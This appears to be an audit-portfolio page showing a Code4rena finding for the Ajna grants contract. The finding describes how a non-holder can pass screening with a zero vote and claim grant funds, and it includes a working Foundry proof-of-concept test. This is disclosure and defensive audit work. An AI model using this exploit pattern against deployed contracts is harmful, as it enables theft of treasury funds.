Ajna Protocol - aashar's results

A peer to peer, oracleless, permissionless lending protocol with no governance, accepting both fungible and non fungible tokens as collateral.

General Information

Platform: Code4rena

Start Date: 03/05/2023

Pot Size: $60,500 USDC

Total HM: 25

Participants: 114

Period: 8 days

Judge: Picodes

Total Solo HM: 6

Id: 234

League: ETH

Ajna Protocol

Findings Distribution

Researcher Performance

Rank: 60/114

Findings: 1

Award: $71.33

🌟 Selected for report: 0

🚀 Solo Findings: 0

Findings Information

🌟 Selected for report: hyh

Also found by: Jiamin, Juntao, aashar, bytes032, circlelooper, mrpathfindr

Labels

bug
2 (Med Risk)
satisfactory
duplicate-465

Awards

71.327 USDC - $71.33

External Links

Lines of code

https://github.com/code-423n4/2023-05-ajna/blob/276942bc2f97488d07b887c8edceaaab7a5c3964/ajna-grants/src/grants/base/StandardFunding.sol#L719

Vulnerability details

Impact

If the topTenProposals array is less than 10 in a particular distribution period, anyone(even non-holders of ajna token) can add their own proposal, vote for it(with 0 value) and it will be included in the topTenProposals array. And then when the said time has elapsed they can just claim the proposed amount easily.

This might be a high depending on the likelihood of such an event happening.

Proof of Concept

Suppose let's assume there are a total of 5 proposals for the first distribution period. 4 proposals are from different token holders. Then comes bob, who doesn't hold any ajna tokens but yet he submits a proposal. After submitting, bob votes for his proposal with value 0. And since, the array length of topTenProposals is still less than 10, it gets added to the array.

Now, assume that there aren't any more proposals and the topTenProposals array length stays under 10. If such a case occurs, Bob's proposal stays in the array and he can claim his proposed amount after the said time has elapsed.

Here's a coded POC:-

    function testPassScreeningWithoutVotes() external{
        _selfDelegateVoters(_token, _votersArr);

        vm.roll(_startBlock + 100);
        _startDistributionPeriod(_grantFund);
        uint24 distributionId = _grantFund.getDistributionId();
        vm.roll(_startBlock + 200);

        address bob = makeAddr('BobTheAttacker');

        // Assume there are 5 proposals. 4 proposals that are added by 4 different tokenHolders and one fake proposal added by attacker bob.
        TestProposalParams[] memory testProposalParams = new TestProposalParams[](5);
        testProposalParams[0] = TestProposalParams(_tokenHolder1, 1_000_000 * 1e18);
        testProposalParams[1] = TestProposalParams(_tokenHolder2, 2_000_000 * 1e18);
        testProposalParams[2] = TestProposalParams(_tokenHolder3, 3_000_000 * 1e18);
        testProposalParams[3] = TestProposalParams(_tokenHolder4, 1_000_000 * 1e18);
        testProposalParams[4] = TestProposalParams(bob, 8_000_000 * 1e18);

        TestProposal[] memory testProposals = _createNProposals(_grantFund, _token, testProposalParams);

        // all the valid proposals gets some votes
        _screeningVote(_grantFund, _tokenHolder1, testProposals[0].proposalId, _getScreeningVotes(_grantFund, _tokenHolder1));
        _screeningVote(_grantFund, _tokenHolder2, testProposals[1].proposalId, _getScreeningVotes(_grantFund, _tokenHolder2));
        _screeningVote(_grantFund, _tokenHolder3, testProposals[2].proposalId, _getScreeningVotes(_grantFund, _tokenHolder3));
        _screeningVote(_grantFund, _tokenHolder4, testProposals[3].proposalId, _getScreeningVotes(_grantFund, _tokenHolder4));

        // bob finds that he can get into the topTenProposals(since there are only 4 proposals) and get to the next stage
        // he calls the screeningVote() with 0 votes and his proposal Id
        IStandardFunding.ScreeningVoteParams[] memory screeningVoteParamsBob = new IStandardFunding.ScreeningVoteParams[](1);
        screeningVoteParamsBob[0] = IStandardFunding.ScreeningVoteParams({
            proposalId: testProposals[4].proposalId,
            votes: 0
        });

        uint256 screeningVotesCast = _grantFund.screeningVotesCast(distributionId, bob);
        assertEq(screeningVotesCast, 0);

        _screeningVote(_grantFund, screeningVoteParamsBob, bob);

        // finally we check if bob's proposal was indeed added to the topTenProposals
        uint256[] memory topTenProps = _grantFund.getTopTenProposals(distributionId);
        assertEq(topTenProps[4], testProposals[4].proposalId);

        vm.roll(_startBlock + 650_000);

        uint256[] memory potentialProposalSlate = new uint256[](1);
        potentialProposalSlate[0] = testProposals[4].proposalId;

        changePrank(bob);
        bool proposalSlateUpdated = _grantFund.updateSlate(potentialProposalSlate, distributionId);
        assertTrue(proposalSlateUpdated);

        vm.roll(_startBlock + 700_000);

        uint256 beforeBalanceBob = _token.balanceOf(bob);
        assertEq(beforeBalanceBob, 0);

        // execute bobs proposal
        changePrank(bob);
        _grantFund.executeStandard(testProposals[4].targets,  testProposals[4].values,  testProposals[4].calldatas, keccak256(bytes( testProposals[4].description)));

        // Bob gets his proposed amount without even holding a single ajna token
        uint256 AfterBalanceBob = _token.balanceOf(bob);
        assertEq(AfterBalanceBob, 8_000_000 * 1e18);
    }

Tools Used

Foundry

There are two problems here: 1.Non ajna token holders can vote. 2.Proposal being included in the topTenProposals even if there is litterally no vote for it(if the array length is less than 10).

To mitigate the first issue, just validate the votes field to not include 0 value. And for the second problem - I couldn't find a perfect mitigation for it.

Assessed type

Invalid Validation

#0 - c4-judge

2023-05-18T17:59:26Z

Picodes marked the issue as duplicate of #465

#1 - c4-judge

2023-05-30T20:13:08Z

Picodes marked the issue as satisfactory

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax © 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter